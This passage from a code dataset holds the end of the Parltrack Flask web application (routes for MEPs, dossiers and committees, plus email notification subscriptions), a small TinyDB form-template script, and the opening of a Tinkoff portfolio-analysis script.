acts['dossiers'][d] += 1\n\n acts['types']={k: v for k,v in sorted(acts['types'].items(), key=lambda x:asactivity(x[0]))}\n acts['dossiers']={k: v for k,v in sorted(acts['dossiers'].items(), key=lambda x: x[1], reverse=True)}\n mep['activities'] = acts\n\n if isinstance(mep.get('CV'),list):\n mep['CV']={'': mep['CV']}\n mep['dossiers'] = sorted(db.get('dossiers_by_mep',mep_id) or [], reverse=True)\n # add legal opinions to activities\n comparl_count = 0\n for (ref, title, type, committee) in mep['dossiers']:\n if type.endswith(\"Committee Legal Basis Opinion\"):\n comparl_count+=1\n if not ref in acts['dossiers']:\n acts['dossiers'][ref] = 0\n acts['dossiers'][ref] += 1\n if comparl_count>0: acts['types']['COMPARL-LEG'] = comparl_count\n\n history_filters = set()\n for cs in mep['changes'].values():\n for c in cs:\n history_filters.add(change_path_str(c['path']))\n history_filters = sorted(history_filters, key=lambda x: x.capitalize())\n\n history_filter = request.args.get('history_filter')\n if history_filter:\n history_filter = [x for x in history_filter.split('.') if not x.isdigit()]\n mep['changes'] = filter_changes(mep['changes'], history_filter)\n\n if mep['UserID'] in [124782, 124762]:\n mep['Constituencies']=[]\n\n return render(\n 'mep.html',\n mep=mep,\n d=mep_id,\n change_dates=changes,\n group_cutoff=datetime(2004,7,20).strftime(\"%Y-%m-%d\"),\n date=date,\n history_filters=history_filters,\n history_filter=None if not history_filter else change_path_str(history_filter),\n tt_fail=failed,\n\tcoauthors=db.coauthors(mep_id),\n exclude_from_json=('d', 'group_cutoff', 'history_filter', 'history_filters', 'tt_fail'),\n )\n\n@app.route('/activities/<int:mep_id>', defaults={'d_id':None, 't':None})\n@app.route('/activities/<int:mep_id>/type/<string:t>', defaults={'d_id':None})\n@app.route('/activities/<int:mep_id>/dossier/<path:d_id>', defaults={'t':None})\n@app.route('/activities/<int:mep_id>/<string:t>/<path:d_id>')\n@cache.cached(timeout=4*60*60, query_string=True)\ndef activities(mep_id, t, d_id):\n if mep_id not in mepnames:\n return render('errors/404.html'), 404\n if t and t not in ACTIVITY_MAP.keys():\n return render('errors/404.html'), 404\n a = db.activities(mep_id, t, d_id) or {}\n if t in {'COMPARL-LEG', None}:\n # add legal opinions to activities\n for (ref, title, type, committee) in sorted(db.get('dossiers_by_mep',mep_id) or [], reverse=True):\n if not type.endswith(\"Committee Legal Basis Opinion\"): continue\n if not 'COMPARL-LEG' in a: a['COMPARL-LEG']=[]\n if d_id is not None:\n if d_id == ref:\n a['COMPARL-LEG'].append({'reference': ref, 'url': '/dossier/%s' % ref, 'title': title, 'committee': committee})\n else:\n a['COMPARL-LEG'].append({'reference': ref, 'url': '/dossier/%s' % ref, 'title': title, 'committee': committee})\n\n if t in {'amendments', None}:\n ams = db.get('ams_by_mep',mep_id) or []\n if d_id is not None:\n ams = [a for a in ams if a['reference']==d_id]\n if ams:\n a['amendments'] = sorted(ams, key=lambda x: (x['reference'], -(x['seq'] if isinstance(x['seq'], int) else ord(x['seq'][0]))), reverse=True)\n\n for k in ['mep_id', 'changes', 'meta']:\n if k in a: del a[k]\n if not t and len(a) == 1:\n t = list(a.keys())[0]\n return render(\n 'activities.html',\n activities=a,\n mep_name=mepnames.get(mep_id),\n mep_id=mep_id,\n type=t,\n dossier_id=d_id,\n )\n\n\n\n@app.route('/mep/<int:mep_id>')\ndef mep_id(mep_id):\n mep = db.mep(mep_id)\n if not mep:\n return not_found_error(None)\n return redirect('/mep/{0}/{1}'.format(mep_id, mep['Name']['full']))\n\n\n@app.route('/mep/<string:mep_name>')\ndef mep_name(mep_name):\n meps = db.meps_by_name(mep_name)\n\n if not meps:\n return not_found_error(None)\n if len(meps) == 1:\n return redirect('/mep/{0}/{1}'.format(meps[0]['UserID'], meps[0]['Name']['full']))\n return render(\"mep_select.html\", meps=meps)\n\n\n@app.route('/dossiers')\ndef dossiers():\n date = getDate()\n dossiers = db.dossiers_by_activity(True)\n ds = []\n for d in dossiers:\n lead_c = [x['committee'] for x in d.get('committees', []) if x.get('type') == \"Responsible Committee\"]\n ds.append({\n 'reference': d['procedure']['reference'],\n 'title': d['procedure']['title'],\n 'stage_reached': d['procedure']['stage_reached'],\n 'lead_committee': '' if not lead_c else lead_c[0],\n })\n return render('dossiers.html', dossiers=ds, date=date)\n\n@app.route('/dossier/<path:d_id>')\n@cache.cached(timeout=5*60*60, query_string=True)\ndef dossier(d_id):\n d = db.dossier(d_id)\n if not d:\n return not_found_error(None)\n d, changes, date, failed = timetravel(d)\n\n clean_lb(d)\n\n d['amendments'] = [a for a in (db.get(\"ams_by_dossier\", d_id) or []) if a.get('date',\"0\") < date] # filter amendments by timetravel\n # some amendments have letters as seq numbers m(\n for a in d['amendments']:\n a['seq']=str(a['seq'])\n progress = 0\n\n if d_id in v1dossiers or 'activities' in d:\n template = \"v1dossier.html\"\n types = None\n else:\n template = \"dossier.html\"\n d['events'] = merge_events(d)\n d['vmatrix'] = votematrices([v for v in (db.get('votes_by_dossier',d_id) or []) if v.get('ts','0') < date ]) # filter votes by timetravel date\n\n # get activities by meps\n meps={}\n # lookup to match shadow rapporteurs to committees\n comap = {c0: i\n for i, c in enumerate(d.get('committees', []))\n if c.get('type',c.get('responsible')) not in ('Responsible Committee', 'Former Responsible Committee', True, None)\n for c0 in ([c['committee']] if isinstance(c['committee'], str) else c['committee'])}\n for act, type, mepid, mepname in (db.activities_by_dossier(d_id) or []):\n if type in [\"REPORT\", \"REPORT-SHADOW\", \"COMPARL\"]: continue\n if type == 'COMPARL-SHADOW':\n comlst = [act['committee']] if isinstance(act['committee'],str) else act['committee']\n for srcom in comlst:\n if srcom not in comap:\n continue\n # merge shadow rapporteurs into d['committees']\n mep = db.mep(mepid)\n com = d['committees'][comap[srcom]]\n if not 'shadows' in com:\n com['shadows']=[]\n for g in mep['Groups']:\n start = g['start']\n end = datetime.now().isoformat() if g['end'] in ['9999-12-31T00:00:00', '31-12-9999T00:00:00'] else g['end']\n if start <= act['date'] <=end:\n com['shadows'].append({'name': mepname,\n 'mepref': mepid,\n 'group': g['Organization'],\n 'abbr': g['groupid']}\n )\n continue\n if not mepid in meps: meps[mepid]={'name': mepname, 'types': {}}\n if not type in meps[mepid]['types']: meps[mepid]['types'][type]=[]\n if act.get('date','0') < date: # filter for timetravel\n meps[mepid]['types'][type].append(act)\n d['mep_activities']=sorted(meps.items(), key=lambda x: sum(len(y) for y in x[1]['types'].values()), reverse=True)\n types = {\n 'CRE': 'Plenary Speeches',\n \"MOTION\": 'Institutional Motions',\n \"OQ\": 'Oral Questions',\n 'WEXP': 'Written Explanations',\n 'MINT': 'Major Interpellations',\n \"WQ\": 'Written Questions',\n \"IMOTION\": 'Individiual Motions',\n \"WDECL\": 'Written Declarations',\n }\n\n for a in d.get('events',[]):\n if a.get('type') in stage2percent:\n progress = stage2percent[a['type']]\n break\n stage_progress = stage2percent.get(d['procedure'].get('stage_reached'), 0)\n progress = max(progress, stage_progress)\n\n history_filters = set()\n for cs in d['changes'].values():\n for c in cs:\n history_filters.add(change_path_str(c['path']))\n history_filters = sorted(history_filters, key=lambda x: x.capitalize())\n\n history_filter = request.args.get('history_filter')\n if history_filter:\n history_filter = [x for x in history_filter.split('.') if not x.isdigit()]\n d['changes'] = filter_changes(d['changes'], history_filter)\n\n return render(\n template,\n dossier=d,\n d=d_id,\n url=request.base_url,\n now_date=date,\n change_dates=changes,\n progress=progress,\n TYPES=types,\n msg=ep_wtf_dossiers.get(d_id),\n history_filters=history_filters,\n history_filter=None if not history_filter else change_path_str(history_filter),\n tt_fail=failed,\n exclude_from_json=('now_date', 'url', 'd', 'progress', 'TYPES', 'history_filter', 'history_filters', 'tt_fail'),\n )\n\n\n@app.route('/committees')\ndef committees():\n s = db.committees()\n s = dict(sorted(s.items(), key=lambda x: (not x[1]['active'], x[0])))\n return render('committees.html', committees=s)\n\n\n@app.route('/committee/<string:c_id>')\ndef committee(c_id):\n c = {}\n c['votes'] = db.get('com_votes_by_committee', c_id) or None\n c['agendas'] = db.get('comagenda_by_committee', c_id) or []\n c['shortname'] = c_id\n c['name'] = COMMITTEE_MAP.get(c_id, \"Unknown committee\")\n if c['agendas']:\n for a in c['agendas']:\n if 'time' in a and a['time']:\n a['date'] = a['time']['date']\n if 'date' not in a:\n a['date'] = ''\n\n rankedMeps=[]\n for mep in (db.get('meps_by_committee', c_id) or []):\n for com in reversed(mep['Committees']):\n if com.get('abbr')==c_id:\n score=com_positions[com['role']]\n mep['crole']=com['role']\n if com.get('end')=='9999-12-31T00:00:00':\n rankedMeps.append((score,mep,True))\n else:\n rankedMeps.append((score,mep,False))\n break\n c['meps'] = sorted(rankedMeps,key=lambda x: (x[2],x[0],x[1]['Name']['full']), reverse=True) or None\n\n c['dossiers'] = db.get('dossiers_by_committee', c_id) or []\n if c['dossiers']:\n for d in c['dossiers']:\n clean_lb(d)\n del d['changes']\n tmp=[c for c in d['committees'] if c['committee']==c_id]\n if len(tmp)>0:\n d['crole']=tmp[0].get('type') or (\"Responsible\" if tmp[0].get('responsible') else \"Opinion\")\n d['rapporteur']=list({m['name']: m for c in d['committees'] if c.get('type')==\"Responsible Committee\" or c.get('responsible') for m in c.get('rapporteur',[])}.values())\n d['rapporteur_groups'] = sorted({'IND/DEM' if k['abbr'][0]=='ID' else 'NA' if k['abbr'][0]=='NA' else k['abbr'] for k in d['rapporteur'] if k.get('abbr')})\n for event in d.get('events',[]):\n if event.get('type') in ['Non-legislative initial document',\n \"Non-legislative basic document published\",\n 'Commission/Council: initial legislative document',\n \"Legislative proposal\",\n \"Legislative proposal published\"] and 'docs' in event and len(event['docs'])>0:\n if 'title' in event['docs'][0]:\n d['comdoc']={'title': event['docs'][0]['title'],\n 'url': event['docs'][0].get('url'), }\n break\n\n return render(\n 'committee.html',\n committee=c,\n groupids=GROUPIDS,\n now_date=date.today().strftime(\"%Y-%m-%d\"),\n exclude_from_json=('now_date',)\n )\n\n\n@app.route('/subjects')\ndef subjects():\n r = db.keys('dossiers_by_subject', count=True) or {}\n s = sorted(x for x in r.keys())\n sm = db.get('subject_map',None)\n return render('subjects.html', subjects=s, dossier_count=r, subjectmap=sm, exclude_from_json=('subjects','subjectmap'))\n\n\n@app.route('/subject/<path:subject>')\ndef subject(subject):\n r = sorted(db.get('dossiers_by_subject', subject) or [], key=lambda x: x['procedure']['reference'], reverse=True)\n sm = db.get('subject_map',None)\n if not r:\n return not_found_error(None)\n return render('subject.html', dossiers=r, subject=subject, subjectmap=sm, exclude_from_json=('subjectmap'))\n\n\ndef dossier_sort_key(d):\n if not 'activities' in d or not len(d['activities']) or not 'date' in d['activities']:\n return ''\n return d['activities'][-1]['date']\n\n\ndef mep_sort_key(m):\n return m['Name']['full']\n\n\n@app.route('/search')\ndef search():\n q = request.args.get('q')\n if not q:\n return redirect('/')\n dossiers = db.search('ep_dossiers', q) or []\n meps = db.meps_by_name(q) or db.search('ep_meps', q) or []\n res = {\n 'meps': sorted(meps, key=mep_sort_key),\n 'dossiers': sorted(dossiers, key=dossier_sort_key, reverse=True),\n }\n result_count = 0\n for k in res:\n result_count += len(res[k])\n return render(\n 'results.html',\n res=res,\n result_count=result_count,\n countries=COUNTRIES,\n )\n\n\n#-[+++++++++++++++++++++++++++++++++++++++++++++++|\n# Notifications\n#-[+++++++++++++++++++++++++++++++++++++++++++++++|\n\n@app.route('/notification')\ndef gen_notif_id():\n while True:\n nid = ''.join(chr(randint(97, 122)) if randint(0, 10) else choice(\"_-\") for x in range(16))\n if not notif.session.query(notif.Group).filter(notif.Group.name==nid).first():\n break\n return '/notification/'+nid\n\ndef listdossiers(d):\n for act in d.get('activities', []):\n if act.get('type') in ['Non-legislative initial document',\n 'Commission/Council: initial legislative document',\n \"Legislative proposal\",\n \"Legislative proposal published\"]:\n if 'title' in act.get('docs',[{}])[0]:\n d['comdoc']={'title': act['docs'][0]['title'],\n 'url': act['docs'][0].get('url'), }\n if 'date' not in act:\n print('removing [%s] %s' % (d['activities'].index(act), act))\n del d['activities'][d['activities'].index(act)]\n if 'legal_basis' in d.get('procedure', {}):\n clean_lb(d)\n # TODO implement db.comagendas_by_dossier in db. useful for dashboard view in notifications\n #for item in db.ep_comagendas.find({'epdoc': d['procedure']['reference']}):\n # if 'tabling_deadline' in item and item['tabling_deadline']>=datetime.now():\n # d['activities'].insert(0,{'type': '(%s) Tabling Deadline' % item['committee'], 'body': 'EP', 'date': item['tabling_deadline']})\n return d\n\n\n@app.route('/notification/<string:g_id>')\ndef notification_view_or_create(g_id):\n group = notif.session.query(notif.Group).filter(notif.Group.name==g_id).first()\n if not group:\n group = notif.Group(name=g_id, activation_key=gen_token())\n notif.session.add(group)\n notif.session.commit()\n ds=[]\n ids=[]\n active_items = [d for d in group.items if not d.activation_key]\n inactive_items = [d for d in group.items if d.activation_key]\n if len(active_items):\n ds=[listdossiers(db.dossier(d.name)) for d in active_items if d.type=='dossier']\n if len(inactive_items):\n ids=[listdossiers(db.dossier(d.name)) for d in inactive_items if d.type=='dossier']\n if ds and request.headers.get('X-Requested-With'):\n return jsonify(count=len(ds), dossiers=ds)\n committees = db.committees()\n committees = dict(sorted([(k,v) for k,v in committees.items() if v['active']], key=lambda x: x[0]))\n groups = db.active_groups()\n grouped_items = {}\n for i in group.items:\n if i.activation_key:\n continue\n if i.type in grouped_items:\n grouped_items[i.type].append(i.name)\n else:\n grouped_items[i.type] = [i.name]\n return render('view_notif_group.html',\n dossiers=ds,\n active_dossiers=len(ds),\n inactive_dossiers=len(ids),\n committees=committees,\n groups=groups,\n sm = db.get('subject_map',None),\n grouped_items=grouped_items,\n deleted=request.args.get('deleted'),\n group={\n 'name': group.name,\n 'id': group.id,\n 'items': [{'name': i.name, 'type': i.type} for i in group.items if not i.activation_key],\n 'subscribers': [{'email': s.email} for s in group.subscribers if not s.activation_key],\n 'pending_subscribers': [{'email': s.email} for s in group.subscribers if s.activation_key],\n 'inactive_items': [{'name': i.name, 'type': i.type} for i in group.items if i.activation_key or i.deactivation_key],\n },\n exclude_from_json=('committees', 'groups'))\n\n\n@app.route('/notification/<string:g_id>/add/<any(dossiers, emails, subject, meps_by_country, meps_by_committee, meps_by_group):item>/<path:value>')\ndef notification_add_detail(g_id, item, value):\n group = notif.session.query(notif.Group).filter(notif.Group.name==g_id).first()\n if not group:\n return 'unknown group '+g_id, 500\n email = ''\n if group.subscribers:\n email = [x.email for x in group.subscribers if not x.activation_key]\n if item == 'emails':\n email = [value]\n emails = [s.email for s in group.subscribers]\n if value in emails:\n return 'already subscribed to this group'\n i = notif.Subscriber(email=value, activation_key=gen_token())\n group.subscribers.append(i)\n\n elif item == 'dossiers':\n if notif.session.query(notif.Item).filter(notif.Item.type=='dossier').filter(notif.Item.name==value).filter(notif.Item.group==group).all():\n return 500\n d = db.dossier(value)\n if not d:\n return 'unknown dossier - '+value\n i = notif.Item(name=value, type='dossier', activation_key=gen_token())\n group.items.append(i)\n else:\n if notif.session.query(notif.Item).filter(notif.Item.type==item).filter(notif.Item.name==value).filter(notif.Item.group==group).all():\n return 500\n i = notif.Item(name=value, type=item, activation_key=gen_token())\n group.items.append(i)\n if not email:\n return 'unknown email', 500\n msg = Message(\"Parltrack Notification Subscription Verification\",\n sender = \"parltrack@parltrack.org\",\n recipients = email)\n\n notif.session.add(i)\n notif.session.commit()\n msg.body = '\\n'.join(('Dear Parltrack user,',\n '',\n 'Someone wants to add %s: \"%s\" to the notification subscription group \"%s\".' %(item, value, g_id),\n \"Please visit %sactivate?key=%s to activate this notification subscription.\" % (request.url_root, i.activation_key),\n '',\n 'Important! Please bookmark this link so you can edit, add and delete the notifications in this group: %snotification/%s' % (request.url_root, g_id),\n 'This link can also be shared with your comrades. They can subscribe on this link to this group of watched objects.',\n '',\n 'with data<3,',\n 'parltrack'))\n mail.send(msg)\n return jsonify({'status': 'OK'})\n\n\n@app.route('/notification/<string:g_id>/del/<any(dossiers, emails, subject, meps_by_country, meps_by_committee, meps_by_group):item>/<path:value>')\ndef notification_del_detail(g_id, item, value):\n group = notif.session.query(notif.Group).filter(notif.Group.name==g_id).first()\n if not group:\n return 'unknown group '+g_id\n active_emails = [s.email for s in group.subscribers if not s.activation_key]\n msg = Message(\"Parltrack Notification Unsubscription Verification\",\n sender = \"parltrack@parltrack.org\",\n recipients = active_emails)\n if item == 'emails':\n if value not in active_emails:\n return 'Cannot complete this action'\n sub = None\n for x in group.subscribers:\n if x.email == value:\n sub = x\n break\n if not sub:\n return 'Cannot complete this action'\n sub.deactivation_key = gen_token()\n notif.session.add(sub)\n notif.session.commit()\n msg.body = '\\n'.join(('Dear Parltrack user,',\n '',\n 'Someone wants to delete %s: \"%s\" from the notification subscription group \"%s\".' %(item, value, g_id),\n \"Please visit %sactivate?key=%s to remove this item from the notification subscription.\" % (request.url_root, sub.deactivation_key),\n '',\n 'You can review and edit all items in this notifications group here: %snotification/%s' % (request.url_root, g_id),\n '',\n 'with data<3,',\n 'parltrack'))\n mail.send(msg)\n else:\n i = notif.session.query(notif.Item).filter(notif.Item.name==value).first()\n if not i:\n return 'Cannot complete this action'\n i.deactivation_key = gen_token()\n notif.session.add(i)\n notif.session.commit()\n msg.body = '\\n'.join(('Dear Parltrack user,',\n '',\n 'Someone wants to delete %s: \"%s\" from the notification subscription group \"%s\".' %(item, value, g_id),\n \"Please visit %sactivate?key=%s to remove this item from the notification subscription.\" % (request.url_root, i.deactivation_key),\n '',\n 'You can review and edit all items in this notifications group here: %snotification/%s' % (request.url_root, g_id),\n '',\n 'with data<3,',\n 'parltrack'))\n mail.send(msg)\n return redirect('/notification/'+group.name+'?deleted=1')\n\n\n@app.route('/activate')\ndef activate():\n k = request.args.get('key')\n #add\n if not k:\n return 'Missing key', 500\n i = notif.session.query(notif.Group).filter(notif.Group.activation_key==k).first()\n if not i:\n i = notif.session.query(notif.Subscriber).filter(notif.Subscriber.activation_key==k).first()\n if not i:\n i = notif.session.query(notif.Item).filter(notif.Item.activation_key==k).first()\n if i:\n i.activation_key = ''\n notif.session.commit()\n return redirect('/notification/'+i.group.name)\n\n #delete\n i = notif.session.query(notif.Subscriber).filter(notif.Subscriber.deactivation_key==k).first()\n if not i:\n i = notif.session.query(notif.Item).filter(notif.Item.deactivation_key==k).first()\n if not i:\n return 'invalid item', 500\n group_name = i.group.name\n notif.session.delete(i)\n notif.session.commit()\n return redirect('/notification/'+group_name)\n\n@app.route('/schemas/<string:schema>')\ndef render_schema(schema):\n if schema not in ['ep_amendments','ep_comagendas','ep_com_votes',\n 'ep_dossiers','ep_dossiers_v1','ep_mep_activities',\n 'ep_meps','ep_meps_v1','ep_votes']:\n return render('errors/404.html'), 404\n with open('templates/schemas/%s.html'%schema,'r') as fd:\n body = fd.read()\n return render('schema.html', body=body)\n\n# Error handlers.\n\n@app.errorhandler(500)\ndef internal_error(error):\n #db_session.rollback()\n return render('errors/500.html'), 500\n\n\n@app.errorhandler(404)\ndef not_found_error(error):\n return render('errors/404.html'), 404\n\n\n# Helpers\n\ndef getDate():\n date=datetime.now()\n if request.args.get('date'):\n try:\n date=datetime.strptime(request.args['date'], \"%d/%m/%Y\")\n except ValueError:\n try:\n date=datetime.strptime(request.args['date'], \"%Y-%m-%d\")\n except ValueError:\n date=datetime.strptime(request.args['date'], \"%Y/%m/%d\")\n return date\n\n\n@app.template_filter()\ndef printdict(d):\n return format_dict(d)\n\n\n@app.template_filter()\ndef asdate(value):\n if not value:\n return 'unknown date'\n if isinstance(value, int):\n value=datetime.fromtimestamp(value)\n if hasattr(value, 'strftime'):\n return value.strftime('%Y/%m/%d')\n d = asDate(value)\n if d.year == 9999:\n return ''\n return d.strftime('%Y/%m/%d')\n\n\n@app.template_filter()\ndef asdiff(obj): # should have a new and old item\n de=diff_match_patch.diff_match_patch()\n diffs=de.diff_main(' '.join (obj.get('old','')),' '.join (obj.get('new','')))\n de.diff_cleanupSemantic(diffs)\n from utils.utils import diff_prettyHtml\n return diff_prettyHtml(de, diffs)\n\n\n@app.template_filter()\ndef asPE(obj): # should have a new and old item\n obj = unquote(obj)\n if 'www.europarl.europa.eu/sides/getDoc.do?pubRef=-//EP//NONSGML' in obj:\n # old style nonsgml urls\n #http://www.europarl.europa.eu/sides/getDoc.do?pubRef=-//EP//NONSGML+COMPARL+PE-595.712+02+DOC+PDF+V0//EN&language=EN\n return obj.split('+')[2]\n elif 'www.europarl.europa.eu/doceo/document/' in obj and obj.endswith('_EN.pdf'):\n # new doceo style urls\n #http://www.europarl.europa.eu/doceo/document/JURI-AM-597416_EN.pdf\n tmp = obj.split('/')[-1][:-len('_EN.pdf')].split('-')[-1]\n return \"%s.%s\" % (tmp[:3], tmp[3:])\n else:\n print(\"bad doceo style url for asPE(): %s\" % repr(obj))\n return \"Unknown\"\n\n\n@app.template_filter()\ndef asmep(value):\n #if isinstance(value, int):\n # value = str(value)\n #if isinstance(value, str):\n # value = int(value)\n if value not in mepnames:\n return '<b>Unknown MEP</b>'\n return u'<a href=\"/mep/%d/%s\">%s</a>' % (value, mepnames[value], mepnames[value])\n\n\n@app.template_filter()\ndef asdossier(value):\n #doc=db.get('ep_dossiers', value)\n #if not doc:\n # return value\n return (u'<a href=\"/dossier/%s\">%s</a>' % (value, value))\n\n\n@app.template_filter()\ndef isodate(value):\n if type(value)==type(datetime(1,1,1)):\n return value.isoformat()\n return datetime.strptime(value[:10],'%Y-%m-%d').isoformat()\n\n\n@app.template_filter()\ndef group_icon(value):\n if not value: return ''\n if type(value)==type(list()): value=value[0]\n if value=='NA': value='NI'\n return \"static/images/%s.gif\" % value.lower().replace('/','_')\n\n\n@app.template_filter()\ndef protect_email(email_address):\n character_set = '+-.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'\n char_list = list(character_set)\n shuffle(char_list)\n\n key = ''.join(char_list)\n\n cipher_text = ''\n\n for a in email_address:\n cipher_text += key[ character_set.find(a) ]\n\n return '<span class=\"protected_address\" data-key=\"'+key+'\" data-ctext=\"'+cipher_text+'\">[javascript protected email address]</span>'\n\n\n@app.template_filter()\ndef reftopath(ref):\n return \"%s/%s\" % (ref[-4:-1], ref[:9])\n\n\n@app.template_filter()\ndef group_icon(value):\n if not value: return ''\n if type(value)==type(list()): value=value[0]\n if value=='NA': value='NI'\n return \"static/images/%s.gif\" % value.lower().replace('/','_')\n\n@app.template_filter()\ndef asactivity(value):\n return ACTIVITY_MAP.get(value,\"unknown\").capitalize()\n\ndef change_path_str(value):\n return '.'.join(x for x in value if isinstance(x, str))\n\n\ndef getDate():\n date=datetime.now()\n if request.args.get('date'):\n date = asDate(request.args['date'])\n return date\n\ndef gen_token():\n return sha1(''.join([chr(randint(1, 128)) for x in range(128)]).encode()).hexdigest()\n\ndef votematrices(votes):\n res = []\n for vote in votes: # can have multiple votes\n if not 'votes' in vote:\n continue\n matrix = { 'title': vote['title'],\n 'time': vote['ts'],\n '_id': vote['voteid'],\n 'totals': dict(sorted([(c,vote['votes'][c]['total']) for c in ['+','0','-'] if c in vote['votes']],key=lambda x: x[1], reverse=True)),\n 'max': 0,\n 'countries': {},\n 'groups': {},\n 'votes': {}}\n res.append(matrix)\n meps = []\n # we need two passes over the data, to collect all meps, so we can\n # query all their contries in one go, but we can already prepare some\n # stuff in the first pass\n for type in ['+','-','0']:\n for group, vs in vote['votes'].get(type,{'groups':{}})['groups'].items():\n if group not in matrix['groups'].keys():\n matrix['groups'][group]={'0':0,'+':0,'-':0,'total':0}\n for mep in vs:\n if not 'mepid' in mep: continue # we skip unresolvable meps\n meps.append((mep['mepid'],group,type))\n # query countries for meps\n mepcountries = db.countries_for_meps([m[0] for m in meps], vote['ts'])\n mepnames = db.names_by_mepids([m[0] for m in meps])\n # second pass where we create a matrix: groups x countries, where each\n # cell contains a {'0':x,'+':y,'-':z,'total':t} dict.\n # and we also create aggregate totals for groups and countries, so\n # those can be displayed as well.\n for mepid, group, choice in meps:\n if mepid in mepcountries:\n country = COUNTRIES[mepcountries[mepid]['country']]\n else:\n country = '??'\n if not country in matrix['countries']:\n matrix['countries'][country]={'0':0,'+':0,'-':0,'total':0}\n if not group in matrix['votes']:\n matrix['votes'][group]={}\n if not country in matrix['votes'][group]:\n matrix['votes'][group][country]={'0':[],'+':[],'-':[],'total':0}\n matrix['votes'][group][country][choice].append((mepnames[mepid], mepid))\n matrix['votes'][group][country]['total']+=1\n matrix['countries'][country][choice]+=1\n matrix['countries'][country]['total']+=1\n matrix['groups'][group][choice]+=1\n matrix['groups'][group]['total']+=1\n def round(x):\n if x<0: return int(floor(x))\n else: return int(ceil(x))\n # lets precalc also color class in a 3rd pass\n cgmax = max(len(c['+'])-len(c['-'])\n for cs in matrix['votes'].values()\n for c in cs.values()) - min(len(c['+'])-len(c['-'])\n for cs in matrix['votes'].values()\n for c in cs.values())\n cmax = max(x.get('+',0)-x.get('-',0)\n for x in matrix['countries'].values()) - min(x.get('+',0)-x.get('-',0)\n for x in matrix['countries'].values())\n gmax = max(x.get('+',0)-x.get('-',0)\n for x in matrix['groups'].values()) - min(x.get('+',0)-x.get('-',0)\n for x in matrix['groups'].values())\n for k, v in matrix['countries'].items():\n v['class']=round((v['+']-v['-'])*10/cmax)\n for k, v in matrix['groups'].items():\n v['class']=round((v['+']-v['-'])*10/gmax)\n for g, cs in matrix['votes'].items():\n for c, v in cs.items():\n v['class']=round((len(v['+'])-len(v['-']))*10/cgmax)\n for type in ['+','-','0']:\n if type not in v: continue\n v[type]=sorted(v[type])\n\n # sort countries/groups in descending order\n matrix['countries']=sorted(matrix['countries'].items(),key=lambda x: x[1]['+']-x[1]['-'],reverse=True)\n matrix['groups']=sorted(matrix['groups'].items(),key=lambda x: x[1]['+']-x[1]['-'],reverse=True)\n return res\n\n\ndef timetravel(obj):\n date = getDate().isoformat()\n changes = []\n failed_at = None\n for d,c in sorted(obj.get('changes', {}).items(), key=lambda x: x[0], reverse=True)[:-1]:\n if date > d:\n break\n if not c:\n del(obj['changes'][d])\n continue\n if len(changes) and changes[-1][0] in obj['changes']:\n del(obj['changes'][changes[-1][0]])\n try:\n obj = revert(obj, c)\n except:\n failed_at = d\n print('failed to revert obj', d, c)\n break\n changes.append((d, ', '.join(set('.'.join([y for y in x['path'] if isinstance(y, str)]).replace(' ', '_') for x in c))))\n return obj, changes, date, failed_at\n\ndef filter_changes(changes, filter):\n ret = {}\n for d,cs in changes.items():\n for c in cs:\n if [x for x in c['path'] if isinstance(x, str)][:len(filter)] == filter:\n if d in ret:\n ret[d].append(c)\n else:\n ret[d] = [c]\n return ret\n\nif not config.DEBUG:\n app.logger.setLevel(logging.INFO)\n\n#----------------------------------------------------------------------------#\n# Launch.\n#----------------------------------------------------------------------------#\n\nif __name__ == '__main__':\n #dossier('2016/0279(COD)')\n app.run(host='0.0.0.0', port=config.WEBSERVER_PORT, threaded=False)\n'''\nif __name__ == '__main__':\n port = int(os.environ.get('PORT', 5000))\n app.run(host='0.0.0.0', port=port)\n'''\n","repo_name":"parltrack/parltrack","sub_path":"webapp.py","file_name":"webapp.py","file_ext":"py","file_size_in_byte":46018,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"21"} +{"seq_id":"73635849332","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Nov 20 15:31:47 2023\r\n\r\n@author: arsko\r\n\"\"\"\r\n\r\nfrom tinydb import TinyDB, Query\r\n\r\ndb = TinyDB('forms.json')\r\ntemplates = db.table('templates')\r\ntemplates.insert({'name': 'Order Form',\r\n 'user_email': 'email',\r\n 'user_phone': 'phone',\r\n 'order_date': 'date',\r\n 'order_comment': 'text'})","repo_name":"redars/testTemplates","sub_path":"db_script.py","file_name":"db_script.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12415251549","text":"# TinkProject\r\n# developed by.. sorry, I should stay anonymous for my security.\r\n# my nickname: softandiron\r\n# Moscow 2021\r\n\r\nfrom pycbrf.toolbox import ExchangeRates\r\nimport time\r\nimport datetime\r\nimport excel_builder\r\nfrom dateutil.relativedelta import relativedelta\r\nfrom decimal import Decimal\r\n\r\nimport data_parser\r\n\r\ndelay_time = 0.2\r\ntax_rate = 13 # percents\r\n\r\nprint('START')\r\n\r\npositions, operations, market_rate_today_usd, market_rate_today_eur, currencies = data_parser.get_api_data()\r\n\r\n# data_parser.account_data: ['my_token'], ['my_timezone'], ['start_date'], ['now_date']\r\n\r\nrates_today_cb = ExchangeRates(data_parser.account_data['now_date'])\r\n\r\n\r\ndef get_portfolio_cash_rub():\r\n for cur in currencies.payload.currencies:\r\n if cur.currency == 'RUB':\r\n return cur.balance\r\n\r\n\r\ncash_rub = get_portfolio_cash_rub()\r\n\r\n\r\nclass PortfolioPosition:\r\n def __init__(self, figi, name, ticker, balance, currency, ave_price, exp_yield, market_price, percent_change,\r\n market_cost, market_cost_rub_cb, ave_buy_price_rub, sum_buy_rub, tax_base, exp_tax):\r\n self.figi = figi\r\n self.name = name\r\n self.ticker = ticker\r\n self.balance = balance\r\n self.currency = currency\r\n self.ave_price = ave_price\r\n self.exp_yield = exp_yield\r\n self.market_price = market_price\r\n self.percent_change = percent_change\r\n self.market_cost = market_cost\r\n self.market_cost_rub_cb = market_cost_rub_cb\r\n self.ave_buy_price_rub = ave_buy_price_rub\r\n self.sum_buy_rub = sum_buy_rub\r\n self.tax_base = tax_base\r\n self.exp_tax = exp_tax\r\n\r\n\r\ndef creating_positions_objects():\r\n print('creating position objects..')\r\n\r\n number_positions = len(positions.payload.positions)\r\n print(str(number_positions) + ' positions in portfolio')\r\n number_operations = len(operations.payload.operations)\r\n print(str(number_operations) + ' operations in period')\r\n\r\n my_positions = 